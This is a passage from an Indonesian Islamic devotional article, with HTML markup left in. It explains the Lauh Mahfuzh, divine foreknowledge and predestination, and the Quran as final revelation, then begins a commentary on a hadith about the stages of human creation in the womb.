 pengawasan Allah. Dia menyaksikan semua amal perbuatan itu pada saat 
dilakukannya. Yang termasuk urusan penting dalam ayat ini ialah segala 
macam urusan yang menyangkut kepentingan umat seperti urusan dakwah 
Islamiah, yaitu mengajak umat agar mengikuti jalan yang lurus dengan 
cara yang bijaksana dan suri teladan yang baik, membangunkan kesadaran 
umat agar tertarik untuk melakukan perintah agama dan menjauhi 
larangan-larangan-Nya termasuk pula urusan pendidikan umat dan cara-cara
 merealisir pendidikan itu hingga menjadi kenyataan yang berfaedah bagi 
kesejahteraan umat. Disebutkan pula bahwa ayat-ayat Alquran yang dibaca 
itu mencakup semua urusan berdasarkan pola-pola pelaksanaannya, tidak 
boleh menyimpang daripadanya karena urusan segala umat secara prinsip 
telah diatur dalam kitab itu. Kemudian disebutkan semua amalan yang 
dilakukan oleh hamba-Nya agar kaum muslimin tergugah hatinya untuk 
melakukan perbuatan yang telah digariskan oleh wahyu yang diturunkan 
pada Rasul-Nya, dan mempedomani fungsi isi dari wahyu itu dalam 
urusannya sehari-hari, serta menaati Rasul karena apa yang diucapkan dan
 dikerjakan Rasul itu menjadi suri teladan yang baik bagi seluruh umat. 
Dalam ayat itu Allah swt. menandaskan, bahwa segala macam amalan yang 
dilakukan oleh hamba-Nya, tidak ada satu pun yang terlepas dari ilmu 
Allah meskipun amalan itu lebih kecil dari benda yang terkecil, atau pun
 urusan itu maha penting sehingga tak terkendalikan oleh manusia. 
Disebutkannya urusan yang kecil dari yang terkecil dan urusan yang maha 
penting agar tergambar dalam hati para hamba-Nya, bahwa ilmu Allah itu 
begitu sempurna sehingga tidak ada satu urusan pun yang terlepas dari 
ilmu-Nya, bagaimanapun remehnya urusan itu dan bagaimana pentingnya 
urusan itu, walaupun urusan itu di luar kemampuan manusia. Ilmu Allah 
tidak hanya meliputi segala macam urusan yang ada di bumi yang 
kebiasaannya urusan ini dapat dibayangkan oleh mereka secara mudah. Juga
 meliputi segala macam urusan di langit yang urusannya lebih rumit dan 
lebih sukar tergambar dalam pikiran mereka. Hal ini untuk menguatkan 
arti dari keluasan ilmu Allah sehingga terasalah keagungan dan 
kekuasaan-Nya. Di akhir ayat ini Allah swt. menyatakan dengan tandas 
bahwa tidak ada satu urusan pun melainkan tercatat dalam kitab yang 
nyata yaitu Lohmahfuz, maksudnya segala macam urusan itu semuanya 
terkontrol dan terkendali serta terkuasai oleh ilmu Allah Yang Maha Luas
 itu dan tercatat dalam kitab-Nya yang bernilai tinggi dan sempurna 
uraiannya. Allah swt. berfirman:&lt;br /&gt;&lt;span style="color: blue;"&gt;وَعِنْدَهُ مَفَاتِحُ الْغَيْبِ لَا يَعْلَمُهَا إِلَّا هُوَ&lt;/span&gt;&lt;span style="color: #38761d;"&gt; Artinya: Dan pada sisi Allahlah kunci-kunci semua yang gaib tak ada yang mengetahuinya kecuali Dia sendiri. (Q.S. Al-An'am: 59)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Allah
 telah mencatat segala kejadian-kejadian didalam Lauh Mahfuzh, dari 
permulaan zaman sampai akhir zaman. Baik berupa kisah nabi dan rasul, 
azab yang menimpa suatu kaum, pengetahuan tentang wahyu para nabi dan 
rasul, tentang penciptaan alam semesta dan lain-lain. Sekalipun jika 
kita tidak melihat segala sesuatu, semua itu ada dalam Lauh Mahfuzh.&lt;br /&gt;Menurut
 Tafsir Qurtubi, semua takdir makhluk Allah telah ditulis-Nya di Luh 
Mahfuz, bisa saja dihapus/ dirubah oleh Allah atau Allah menetapkan 
sesuai dengan kehendak-Nya. Kemudian yang dapat merubah takdir yang 
tertulis dalam Lauh Mahfuz itu hanya doa dan perbuatan baik/ usaha. 
Muhammad bersabda: "Tiada yang bisa merubah takdir selain doa dan tiada 
yang bisa memanjangkan umur kecuali perbuatan baik".[1]Lauh Mahfuzh akan
 kekal selamanya karena ia termasuk makhluk yang abadi, selain Lauh 
Mahfuzh makhluk abadi ada 'Arsy, surga, neraka dan lain-lain.&lt;br /&gt;Para Jin Mencuri Berita&lt;br /&gt;Allah
 telah menjadikan Lauh Mahfuzh ini sebagai tempat untuk menyimpan segala
 rahasia dilangit dan di bumi. Jin dari golongan setan akan berusaha 
untuk mencuri segala rahasia yang tertulis di dalamnya untuk menipu 
manusia. Disamping itu, mereka juga memiliki tujuan untuk memainkan 
aqidah manusia. Sebab itu Allah melarang manusia untuk mengetahui 
ramalan nasib, karena peramal itu dibantu oleh jin dan jin itu akan 
membisikkan hasil curian itu kedalam hati peramal. Jika ada setan yang 
berusaha mencuri berita, maka malaikat penjaga Luh Mahfuzh akan 
melemparkan bintang ke arah pencuri berita tersebut, pelemparan ini yang
 terkadang kita lihat dengan adanya bintang jatuh atau meteor.“ Dan 
sesungguhnya Kami telah menciptakan gugusan bintang-bintang (di langit) 
dan Kami telah menghiasi langit itu bagi orang-orang yang memandang 
(nya), dan Kami menjaganya dari tiap-tiap syaitan yang terkutuk, kecuali
 syaitan yang mencuri-curi (berita) yang dapat didengar (dari malaikat) 
lalu dia dikejar oleh semburan api yang terang. (Al Hijr 16 - 18) ”&lt;br /&gt;Tidak
 banyak diketahui tentang Lauh Mahfuz dan para ulama jarang 
menjabarkannya dengan detail, karena ia adalah urusan alam ghaib/ 
rahasia Allah. Dalam Al-Quran pun, Luh Mahfuz di sebut secara sepintas 
saja, tanpa penjelasan lebih lanjut. Sebagai contohnya dalam satu 
peristiwa yang amat bersejarah, ahli tafsir menyatakan Luh Mahfuz 
disebut berkaitan dengan Nuzul Al-Quran dari Luh Mahfuz ke Baitul Izzah 
(langit dunia) secara sekaligus yang terjadi dalam bulan Ramadhan.&lt;br /&gt;&lt;br /&gt;Sejauh
 ini, kita telah menyaksikan kesimpulan ilmu pengetahuan tentang alam 
semesta dan asal-usul mahluk hidup. Kesimpulan ini adalah bahwa 
keseluruhan alam semesta dan kehidupan itu sendiri diciptakan dengan 
menggunakan cetak biru informasi yang telah ada sebelumnya.&lt;br /&gt;Kesimpulan
 yang dicapai ilmu pengetahuan modern ini sungguh sangat bersesuaian 
dengan fakta tersembunyi yang tercantum dalam Alquran sekitar 14 abad 
yang lalu. Dalam Alquran, Kitab yang diturunkan kepada manusia sebagai 
Petunjuk, Allah menyatakan bahwa Lauh Mahfuzh (Kitab yang terpelihara) 
telah ada sebelum penciptaan jagat raya. Selain itu, Lauh Mahfuzh juga 
berisi informasi yang menjelaskan seluruh penciptaan dan peristiwa di 
alam semesta.&lt;br /&gt;Lauh Mahfuzh berarti terpelihara (mahfuzh), jadi segala
 sesuatu yang tertulis di dalamnya tidak berubah atau rusak. Dalam 
Alquran, ini disebut sebagai Ummul Kitaab (Induk Kitab), Kitaabun 
Hafiidz (Kitab Yang Memelihara atau Mencatat), Kitaabun Maknuun (Kitab 
Yang Terpelihara) atau sebagai Kitab saja. Lauh Mahfuzh juga disebut 
sebagai Kitaabun Min Qabli (Kitab Ketetapan) karena mengisahkan tentang 
berbagai peristiwa yang akan dialami umat manusia.&lt;br /&gt;Dalam banyak ayat,
 Allah menyatakan tentang sifat-sifat Lauh Mahfuzh. Sifat yang pertama 
adalah bahwa tidak ada yang tertinggal atau terlupakan dari kitab ini:&lt;br /&gt;Dan
 pada sisi Allah kunci-kunci semua yang gaib; tak ada yang mengetahuinya
 kcuali Dia sendiri, dan Dia mengetahui apa yang ada di daratan dan di 
lautan, dan tiada sehelai daun pun yang gugur melainkan Dia 
mengetahuinya (pula), dan tidak jatuh sebutir biji pun dalam kegelapan 
bumi dan tidak sesuatu yang basah atau yang kering, melainkan tertulis 
dalam kitab yang nyata (Lauh Mahfuzh). (QS. Al An’aam, 6:59)&lt;br /&gt;Sebuah ayat menyatakan bahwa seluruh kehidupan di dunia ini tercatat dalam Lauh Mahfuzh:&lt;br /&gt;Dan
 tiadalah binatang-binatang yang ada di bumi dan burung-burung yang 
terbang dengan kedua sayapnya, melainkan umat-umat (juga) seperti kamu. 
Tiadalah Kami alpakan sesuatupun di dalam Al Kitab, kemudian kepada 
Tuhanlah mereka dihimpunkan. (QS. Al An’aam, 6:38)&lt;br /&gt;Di ayat yang lain,
 dinyatakan bahwa di bumi ataupun di langit, di keseluruhan alam 
semesta, semua makhluk dan benda, termasuk benda sebesar zarrah (atom) 
sekalipun, diketahui oleh Allah dan tercatat dalam Lauh Mahfuzh:&lt;br /&gt;Kami
 tidak berada dalam suatu keadaan dan tidak membaca suatu ayat dari 
Alquran dan kamu tidak mengerjakan suatu pekerjaan, melainkan Kami 
menjadi saksi atasmu di waktu kamu melakukannya.&lt;br /&gt;Seperti yang sudah 
disebutkan diatas tidak luput dari pengetahuan Tuhanmu biarpun sebesar 
zarrah (atom) di bumi ataupun di langit. Tidak ada yang lebih kecil dan 
tidak (pula) yang lebi besar dari itu, melainkan (semua tercatat) dalam 
kitab yang nyata (Lauh Mahfuzh). (QS. Yunus, 10:61)&lt;br /&gt;Segala informasi tentang umat manusia ada dalam Lauh Mahfuzh, dan ini meliputi kode genetis dari semua manusia dan nasib mereka:&lt;br /&gt;(Mereka
 tidak menerimanya) bahkan mereka tercengang karena telah datang kepada 
mereka seorang pemberi peringatan dari (kalangan) mereka sendiri, maka 
berkatalah orang-orang kafir: Ini adalah suatu yang amat ajaib. Apakah 
kami setelah mati dan setelah menjadi tanah (kami akan kembali lagi)?, 
itu adalah suatu pengembalian yang tidak mungkin. Sesungguhnya Kami 
telah mengetahui apa yang dihancurkan oleh bumi dari (tubuh-tubuh) 
mereka, dan pada sisi Kamipun ada kitab yang memelihara (mencatat). (QS.
 Qaaf, 50:2-4)&lt;br /&gt;Ayat berikut ini menyatakan bahwa kalimat Allah di 
dalam Lauh Mahfuzh tidak akan ada habisnya, dan hal ini dijelaskan 
melalui perumpamaan:&lt;br /&gt;Dan seandainya pohon-pohon di bumi menjadi pena 
dan laut (menjadi tinta), ditambahkan kepadanya tujuh laut (lagi) 
sesudah (kering)nya, niscaya tidak akan habis-habisnya (dituliskan) 
kalimat Allah. Sesungguhnya Allah Maha Perkasa lagi Maha Bijaksana. (QS.
 Luqman, 31:27)&lt;br /&gt;Fakta-fakta yang telah kami paparkan dalam tulisan 
ini membuktikan sekali lagi bahwa berbagai penemuan ilmiah modern 
menegaskan apa yang diajarkan agama kepada umat manusia. Keyakinan buta 
kaum materialis yang telah dipaksakan ke dalam ilmu pengetahuan ternyata
 malah ditolak oleh ilmu pengetahuan itu sendiri.&lt;br /&gt;Sejumlah kesimpulan
 ilmu pengetahuan modern tentang informasi berperan untuk membuktikan 
secara obyektif siapakah yang benar dalam perseteruan yang telah 
berlangsung selama ribuan tahun. Perselisihan ini telah terjadi antara 
paham materialis dan agama.&lt;br /&gt;Pemikiran materialis menyatakan bahwa 
materi tidak memiliki permulaan dan tidak ada sesuatu pun yang ada 
sebelum materi. Sebaliknya, agama menyatakan bahwa Tuhan ada sebelum 
keberadaan materi, dan bahwa materi diciptakan dan diatur berdasarkan 
ilmu Allah yang tak terbatas.&lt;br /&gt;Fakta bahwa kebenaran ini, yang telah 
diajarkan oleh agama-agama wahyu seperti Yahudi, Nasrani dan Islam sejak
 permulaan sejarah, telah dibuktikan oleh berbagai penemuan ilmiah, 
merupakan petunjuk bagi masa berakhirnya atheis yang sebentar lagi tiba.
 Umat manusia semakin mendekat pada pemahaman bahwa Allah benar-benar 
ada dan Dialah yang Maha Mengetahui. Hal ini sebagaimana pernyataan 
Alquran kepada umat manusia dalam ayat berikut:&lt;br /&gt;Apakah kamu tidak 
mengetahui bahwa sesungguhnya Allah mengetahui apa saja yang ada di 
langit dan di bumi?; bahwasanya yang demikian itu terdapat dalam sebuah 
kitab (Lauh Mahfuzh). Sesungguhnya yang demikian itu amat mudah bagi 
Allah. (QS. Al Hajj, 22:70)&lt;br /&gt;Di antara kemurahan Allah terhadap 
manusia adalah Dia tidak saja memberikan sifat yang bersih yang dapat 
membimbing dan memberi petunjuk kepada mereka ke arah kebaikan, tetapi 
juga dari waktu ke waktu Dia mengutus seorang rasul kepada umat manusia 
dengan membawa kitab dari Allah, dan menyuruh mereka beribadah hanya 
kepada Allah saja, menyampaikan kabar gembira, dan memberikan peringatan
 agar menjadi bukti bagi manusia.&lt;br /&gt;"(Mereka kami utus) selaku 
rasul-rasul pembawa berita gembira dan pemberi peringatan agar supaya 
tidak ada alasan bagi manusia membantah Allah sesudah diutusnya 
rasul-rasul itu. Dan adalah Allah Maha Perkasa lagi Maha Bijaksana." (An
 Nisaa':165).&lt;br /&gt;Perkembangan dan kemajuan berpikir manusia senantiasa 
disertai wahyu yang sesuai dan dapat memecahkan problematika yang 
dihadapi kaum setiap rasul, sampai perkembangan itu mengalami 
kematangannya. Allah menghendaki agar risalah Muhammad saw. muncul di 
dunia ini, maka diutuslah beliau saat manusia tengah mengalami 
kekosongan para rasul, untuk menyempurnakan "bangunan" saudara-saudara 
pendahulunya (para rasul) dengan syariatnya yang universal dan abadi, 
serta dengan kitab yang diturunkan kepadanya, yaitu Alquran.&lt;br /&gt;Rasulullah saw. bersabda yang artinya, &lt;span style="color: blue;"&gt;"Perumpamaan
 diriku dengan para nabi sebelumku adalah bagaikan orang yang membangun 
sebuah rumah. Ia kemudian membaikkan dan memperindah rumah itu, kecuali 
letak satu bata di sebuah sudutnya. Maka orang-orang pun mengelilingi 
rumah itu, mereka mengaguminya dan berkata, 'Seandainya bukan karena 
batu bata ini, tentulah rumah itu sudah sempurna.' Maka akulah batu bata
 itu, dan akulah penutup para nabi." (HR Muttafaqun 'Alaihi).&lt;/span&gt;&lt;br /&gt;Alquran
 adalah risalah Allah kepada seluruh manusia. Banyak nas yang 
menunjukkan hal itu, baik di dalam Alquran maupun sunah. "Katakanlah, 
'Hai manusia sesungguhnya aku adalah utusan Allah kepadamu semua ...." 
(Al-A'raaf: 158).&lt;br /&gt;&lt;span style="color: blue;"&gt;"Maha Suci Allah yang 
telah menurunkan Al-Furqaan (Alquran) kepada hamba-Nya, agar dia menjadi
 pemberi peringatan kepada seluruh alam." (Al Furqaan: 1).&lt;/span&gt;&lt;br /&gt;Rasulullah saw. bersabda, &lt;span style="color: #6aa84f;"&gt;"Setiap nabi diutus kepada kaumnya secara khusus, sedang aku diutus kepada segenap umat manusia." (HR Bukhari Muslim).&lt;/span&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;span style="color: #6aa84f;"&gt;Sesudah
 Muhammad saw. tidak akan ada lagi kerasulan lain. "Muhammad itu 
sekali-kali bukanlah bapak dari seorang laki-laki di antara kamu, tetapi
 dia adalah rasul Allah dan penutup nabi-nabi. Dan adalah Allah Maha 
Mengetahui segala sesuatu." (Al Ahzaab: 40). &lt;/span&gt;Maka, tidaklah aneh bila Alquran dapat memenuhi semua tuntutan kemanusiaan berdasarkan asas-asas pertama konsep agama samawi.&lt;br /&gt;Dia
 telah mensyariatkan kamu tentang agama apa yang telah diwasiatkan-Nya 
kepada Nuh dan apa yang telah Kami wahyukan kepadamu dan apa yang telah 
Kami wasiatkan kepada Ibrahim, Musa, dan Isa, yaitu 'Tegakkanlah agama 
dan janganlah kamu berpecah-belah tentangnya ...." (Asy Syuuraa: 13).&lt;br /&gt;Rasulullah
 saw. juga telah menantang orang-orang Arab dengan Alquran, padahal 
Alquran diturunkan dengan bahasa mereka, dan mereka pun ahli dalam 
bahasa dan retorikanya. Namun, ternyata mereka tidak mampu membuat apa 
pun seperti Alquran, atau membuat sepuluh surat saja, bahkan satu surah 
pun seperti Alquran. Maka, terbuktilah kemukjizatan Alquran dan terbukti
 pula kerasulan Muhammad.&lt;br /&gt;Allah juga menetapkan untuk menjaga Alquran
 dan menjaga pula penyampaiannya yang beruntun, sehingga tak ada 
penyimpangan atau perubahan apa pun. Tentang Jibril yang membawa Alquran
 didasarkan pada firman Allah yang artinya, "Dia dibawa turun oleh 
ar-ruh al-amin (Jibril)." (Asy Syu'araa: 193).&lt;br /&gt;Dan, diantara sifat 
Alquran dan sifat orang yang diturunkan kepadanya Alquran adalah 
"Sesungguhnya Alquran itu benar-benar firman (Allah yang dibawa oleh) 
utusan yang mulia (Jibril), yang mempunyai kekuatan, yang mempunyai 
kedudukan tinggi di sisi Allah yang mempunyai 'Arsy, yang ditaati di 
sana (di alam malaikat) lagi dipercaya. Dan temanmu (Muhammad) itu 
bukanlah sekali-kali orang yang gila. Dan sesungguhnya Muhammad itu 
melihat Jibril di ufuk yang terang. Dan Dia (Muhammad) bukanlah seorang 
yang bakhil untuk menerangkan yang gaib." (At Takwiir: 19--24).&lt;br /&gt;"Sesungguhnya
 Alquran ini adalah bacaan yang sangat mulia, pada kitab yang 
terpelihara (Lauh Mahfuzh), tidak menyentuhnya kecuali hamba-hamba yang 
disucikan." (Al Waaqi'ah: 77--79).&lt;br /&gt;Keistimewaan yang demikian ini 
tidak dimiliki oleh kitab-kitab yang terdahulu, karena kitab-kitab itu 
diperuntukkan bagi satu waktu tertentu. Maha Benar Allah dalam 
firman-Nya yang artinya, "Sesungguhnya Kamilah yang menurunkan adz-dzikr
 (Alquran), dan sesungguhnya Kamilah yang benar-benar akan menjaganya." 
(Al Hijr: 9).&lt;br /&gt;Risalah Alquran di samping ditujukan kepada manusia, 
juga kepada jin. "Dan (ingatlah) ketika Kami hadapkan serombongan jin 
kepadamu yang mendengarkan Alquran, maka tatkala mereka menghadiri 
pembacaan(nya) lalu mereka berkata, 'Diamlah kamu (untuk 
mendengarkannya).' Ketika pembacaan telah selesai, mereka kembali kepada
 kaumnya (untuk) memberi peringatan. Mereka berkata, 'Hai kaum kami, 
sesungguhnya kami telah mendengarkan kitab (Alquran) yang telah 
diturunkan sesudah Musa yang membenarkan kitab-kitab yang sebelumnya 
lagi memimpin kepada kebenaran dan kepada jalan yang lurus. Hai kaum 
kami, terimalah (seruan) orang yang menyeru kepada Allah dan berimanlah 
kepada-Nya ...'."(Al Ahqaf: 29--31).&lt;br /&gt;Dengan keistimewaan ini, Alquran
 memecahkan problematika manusia dalam berbagai segi kehidupan, baik 
rohani, jasmani, sosial, ekonomi maupun politik dengan solusi yang 
bijaksana. Karena, ia diturunkan oleh Yang Maha Bijaksana dan Maha 
Terpuji. Pada setiap problem itu Alquran meletakkan sentuhannya yang 
mujarab dengan dasar-dasar yang umum yang dapat dijadikan landasan untuk
 langkah-langkah manusia, dan yang sesuai pula buat setiap zaman. Dengan
 demikian, Alquran selalu memperoleh kelayakannya di setiap waktu dan 
tempat, karena Islam adalah agama yang abadi. Alangkah menariknya apa 
yang dikatakan oleh seorang juru dakwah abad ke-14 ini, "Islam adalah 
suatu sistem yang lengkap; ia dapat mengatasi segala gejala kehidupan. 
Ia adalah negara dan tanah air, atau pemerintah dan bangsa. Ia adalah 
moral dan potensi atau rahmat dan keadilan; ia adalah pengetahuan dan 
undang-undang atau ilmu dan keputusan. Ia adalah materi dan kekayaan, 
atau pendapatan dan kesejahteraan. Ia adalah jihad dan dakwah atau 
negara dan ideologi. Begitu pula, ia adalah akidah yang benar dan ibadah
 yang sah."&lt;br /&gt;Manusia yang kini hati nuraninya tersiksa dan akhlaknya 
rusak tidak mempunyai pelindung lagi dari kejatuhannya ke jurang 
kehinaan selain Alquran. "... barang siapa yang mengikuti petunjuk-Ku, 
ia tidak akan sesat dan tidak akan celaka. Dan barangsiapa berpaling 
dari peringatan-Ku, maka sesungguhnya baginya penghidupan yang sempit, 
dan Kami akan menghimpunkannya pada hari kiamat dalam keadaan buta." 
(Thaahaa: 123--124).&lt;br /&gt;Kaum muslimin sendirilah yang membangun obor di 
tengah gelapnya sistem dan prinsip lain. Mereka harus menjauhkan diri 
dari segala kegemerlapan yang palsu. Mereka harus membimbing manusia 
yang kebingungan dengan Alquran sehingga terbimbing ke pantai 
keselamatan. Seperti halnya kaum muslimin dahulu mempunyai negara dengan
 melalui Alquran, maka tidak boleh tidak pada masa kini pun mereka harus
 memiliki bangsa dengan Alquran juga.&lt;br /&gt;Sumber: Studi Ilmu-Ilmu Quran ,
 terjemahan dari Mabaahits fii 'Uluumil Quraan, Manna' Khaliil 
al-Qattaan PP Al-Irsyad Al-Islamiyyah&lt;br /&gt;Takdir Allah untuk setiap dan 
semua mahluk bersifat asli. Sebelum Allah menciptakan semua 
mahluk-temasuk Qalam dan Lauh Mahfuzh-Allah sudah mengetahui apa yang 
akan dilakukan oleh setiap makhluk. Kemudian pada masa 50.000 tahun 
sebelum Allah menciptakan langit dan bumi Allah mencitakan Qalam,lalu 
diperintahkanya Qalam untuk menulis semua takdir. Hal ini dapat kita 
pahami dari kedua hadist berikut ini:"Allah menulis takdir pada mahkluk 
50.000 tahun sebelum diciptakanya semua langit dan bumi."(H.R.Muslim 
dari Abdullah bin 'Amru bin 'Ash)"Benda pertama yang diciptakan oleh 
Allah adalah pena.Allah berfirman,'Tulislah!'Pena menjawab,'Apa yang aku
 tulis?'Allah berfirman,'Tulislah takdir yang telah terjadi dan akan 
terjadi selamanya!'."(H.R.at-Tirmidziy dan dinyatakan shahih oleh 
al-Albaniy)Hal ini juga telah Allah terangkan di dalam al-Qur'an. Allah 
berfirman,"Tiada suatu bencana pun yang menimpa di bumi dan (tidak pula)
 pada dirimu sendiri melainkan telah tertulis dalam kitab (Lauh Mahfuzh)
 sebelum Kamami menciptakanya.Sesungguhnya Allah mengetahuinya apa saja 
yang ada dilangit dan dibumi? Bahwasanya yang demikian itu terdapat 
dalam sebuah kitab (Lauh Mahfuzh).Sesungguhya yang demikian itu amat 
mudah bagi Allah."(Q.S.al-Hajj:70)Apa yang terjadi diseluruh alam 
dijadikan oleh Allah dengan iradah dan masyiah-Nya yang berporos pada 
rahmat dan hikmah-Nya. Dia memberi petunjuk kepada siapa yang dia 
kehendaki tersesat dengan hikmahNya.semua itu dan semua takdir telah 
ditulis didalam Lauh Mahfuzh.tidak ada seorang pun yang terlewatkan.Apa 
yang telah terjadi dan akan terjadi sampai hari kiamat. Dan saat 
kejadianya,semuanya persis seperti apa yang tertulis disana. Tidak 
sesuatu pun yang bergeser.Ini adalah bukti kesempurnaan ilmu,kuasa dan 
hikmah Allah.&lt;br /&gt;&lt;br /&gt;PROSES PENCIPTAAN MANUSIA&amp;nbsp;HINGGA DITETAPKANNYA AMALAN HAMBA&lt;br /&gt;&lt;br style="background-color: cyan; color: blue;" /&gt;&lt;span style="background-color: #d9ead3; color: #660000;"&gt;&lt;span style="color: blue;"&gt;عَنْ
 عَبْدِ اللهِ بنِ مَسْعوْدٍ رَضِيَ اللهُ عَنْهُ قالَ: حَدَّثَنَا 
رَسُوْلُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ وهُوَ الصَّادِقُ 
الْمَصْدُوْقُ: إنَّ أَحَدَكُم يُجْمَعُ خلقُهُ فِيْ بَطْنِ أُمِّهِ 
أَرْبَعِيْنَ يَوْمًا نُطْفَةً، ثُمَّ يَكُوْنُ عَلَقَةً مِثْلَ ذَلِكَ، 
ثُمَّ يَكُوْنُ مُضْغَةً مِثلَ ذَلِكَ، ثُمَّ يُرْسَلُ إِلَيْهِ الْمَلَكُ 
فيَنْفُخُ فِيْهِ الرُّوْحَ، وَيُؤْمَرُ بِأَرْبَعِ كَلِمَاتٍ: بِكَتْبِ 
رِزْقِهِ، وَأَجَلِهِ، وَعَمَلِهِ، وَشَقِيٌّ أَوْ سَعِيْدٌ، فَوَاللهِ 
الَّذِيْ لاَ إِلَهَ غُيْرُهُ، إِنَّ أَحَدَكُمْ لَيَعْمَلُ بِعَمَلِ 
أَهْلِ الْجَنَّةِ حَتَّى مَا يَكُوْنُ بَيْنَهُ وَبَيْنَهَا إِلاَّ 
ذِرَاعٌ فَيَسْبِقُ عَلَيْهِ الْكِتَابُ فَيَعْمَلُ بِعَمَلِ أَهْلِ 
النَّارِ فَيَدْخُلُهَا، وَإِنَّ أَحَدَكُمْ لَيَعْمَلُ بِعَمَلِ أَهْلِ 
النَّارِ حَتَّى مَا يَكُوْنُ بَيْنَهُ وَبَيْنَهَا إِلاَّ ذِرَاعٌ 
فَيَسْبِقُ عَلَيْهِ الْكِتَابُ، فَيَعْمَلُ بِعَمَلِ أَهْلِ الْجَنَّةِ 
فَيَدْخُلُهَا. (رَوَاهُ الْبُخَارِيُّ وَمُسْلِمٌ&lt;/span&gt;)&lt;/span&gt;&lt;br /&gt;Dari 
Abu ‘Abdir-Rahman ‘Abdullah bin Mas’ud Radhiyallahu 'anhu, ia berkata, 
Rasulullah Shallallahu 'alaihi wa sallam menuturkan kepada kami, dan 
beliau adalah ash-Shadiqul Mashduq (orang yang benar lagi dibenarkan 
perkataannya), beliau bersabda,"Sesungguhnya seorang dari kalian 
dikumpulkan penciptaannya dalam perut ibunya selama 40 hari dalam bentuk
 nuthfah (bersatunya sperma dengan ovum), kemudian menjadi ‘alaqah 
(segumpal darah) seperti itu pula. Kemudian menjadi mudhghah (segumpal 
daging) seperti itu pula. Kemudian seorang Malaikat diutus kepadanya 
untuk meniupkan ruh di dalamnya, dan diperintahkan untuk menulis empat 
hal, yaitu menuliskan rizkinya, ajalnya, amalnya, dan celaka atau 
bahagianya. Maka demi Allah yang tidak ada ilah yang berhak diibadahi 
dengan benar melainkan Dia, sesungguhnya salah seorang dari kalian 
beramal dengan amalan ahli surga, sehingga jarak antara dirinya dengan 
surga hanya tinggal sehasta, tetapi catatan (takdir) mendahuluinya lalu 
ia beramal dengan amalan ahli neraka, maka dengan itu ia memasukinya. 
Dan sesungguhnya salah seorang dari kalian beramal dengan amalan ahli 
neraka, sehingga jarak antara dirinya dengan neraka hanya tinggal 
sehasta, tetapi catatan (takdir) mendahuluinya lalu ia beramal dengan 
amalan ahli surga, maka dengan itu ia memasukinya". [Diriwayatkan oleh 
al Bukhari dan Muslim]&lt;br /&gt;TAKHRIJ HADITSHadits ini diriwayatkan oleh 1. 
Imam al Bukhari dalam Shahih-nya, pada kitab Bada-ul Khalq, Bab Dzikrul 
Mala-ikah (no. 3208), kitab Ahaditsul Anbiya` no. 3332. Lihat juga 
hadits no. 6594 dan 7454. 2. Imam Muslim dalam Shahih-nya, pada kitab al
 Qadar no. 2643. 3. Imam Abu Dawud no. 4708. 4. Imam at-Tirmidzi no. 
2138. 5. Imam Ibnu Majah no. 76.&lt;br /&gt;SYARAH (PENJELASAN) HADITSHadits ini mengandung beberapa pelajaran berharga, sebagai berikut:&lt;br /&gt;&lt;span style="color: blue;"&gt;1. Tahapan Penciptaan Manusia.&lt;/span&gt;
 Dalam hadits ini, Rasulullah Shallallahu 'alaihi wa sallam menjelaskan 
tentang awal penciptaan manusia di dalam rahim seorang ibu, yang berawal
 dari nuthfah (bercampurnya sperma dengan ovum), ‘alaqah (segumpal 
darah), lalu mudhghah (segumpal daging). Allah Ta’ala berfirman:&lt;br /&gt;"Hai
 manusia, kamu dalam keraguan tentang kebangkitan (dari kubur); maka 
(ketahuilah) sesungguhnya Kami telah menjadikan kamu dari tanah, 
kemudian dari setetes mani, kemudian dari segumpal darah, kemudian dari 
segumpal daging yang sempurna kejadiannya dan yang tidak sempurna, agar 
Kami jelaskan kepadamu dan Kami tetapkan dalam rahim, apa yang Kami 
kehendaki sampai waktu yang sudah ditentukan, kemudian Kami keluarkan 
kamu sebagai bayi, kemudian (dengan berangsur-angsur) kamu sampai pada 
kedewasaan, dan di antara kamu ada yang diwafatkan dan (ada pula) di 
antara kamu yang dipanjangkan umurnya sampai pikun, supaya dia tidak 
mengetahui lagi sesuatu pun yang dahulunya telah diketahuinya. Dan kamu 
lihat bumi ini kering, kemudian apabila Kami turunkan air di atasnya, 
hiduplah bumi itu dan suburlah dan menumbuhkan berbagai macam 
tumbuh-tumbuhan yang indah" [al Hajj/22:5]&lt;br /&gt;Dalam ayat ini, Allah 
Subhanahu wa Ta'ala menyebutkan tentang tahapan penciptaan manusia di 
dalam rahim seorang ibu. Oleh karena itu, apabila ada seseorang yang 
ragu tentang dibangkitkannya manusia dari kuburnya dan ragu tentang 
dikumpulkannya manusia di padang Mahsyar pada hari Kiamat, maka Allah 
memerintahkan untuk mengingat dan melihat bagaimana seorang manusia 
diciptakan oleh Allah Subhanahu wa Ta'ala. Allah Maha Kuasa atas segala 
sesuatu, Dia mengembalikan manusia (dari mati menjadi hidup kembali) 
lebih mudah daripada menciptakannya. Juga firman-Nya:&lt;br /&gt;"Dan 
sesungguhnya Kami telah menciptakan manusia dari suatu saripati 
(berasal) dari tanah. Kemudian Kami jadikan saripati itu air mani (yang 
disimpan) dalam tempat yang kokoh (rahim). Kemudian air mani itu Kami 
jadikan segumpal darah, lalu segumpal darah itu Kami jadikan segumpal 
daging, dan segumpal daging itu Kami jadikan tulang belulang, lalu 
tulang belulang itu Kami bungkus dengan daging. Kemudian Kami jadikan 
dia makhluk yang (berbentuk) lain. Maka Maha sucilah Allah, Pencipta 
Yang Paling Baik. Kemudian, sesudah itu, sesungguhnya kamu sekalian 
benar-benar akan mati. Kemudian, sesungguhnya kamu sekalian akan 
dibangkitkan (dari kuburmu) di hari Kiamat" [al Mu’minun/23:12-16].&lt;br /&gt;Allah
 Subhanahu wa Ta'ala menyebutkan bahwa Adam -manusia pertama-diciptakan 
dari saripati tanah, kemudian manusia-manusia sesudahnya diciptakan-Nya 
dari setetes air mani.&lt;br /&gt;Adapun tahapan penciptaan manusia di dalam 
rahim adalah sebagai berikut: Pertama. Allah menciptakan manusia dari 
setetes air mani yang hina yang menyatu dengan ovum, Allah Ta’ala 
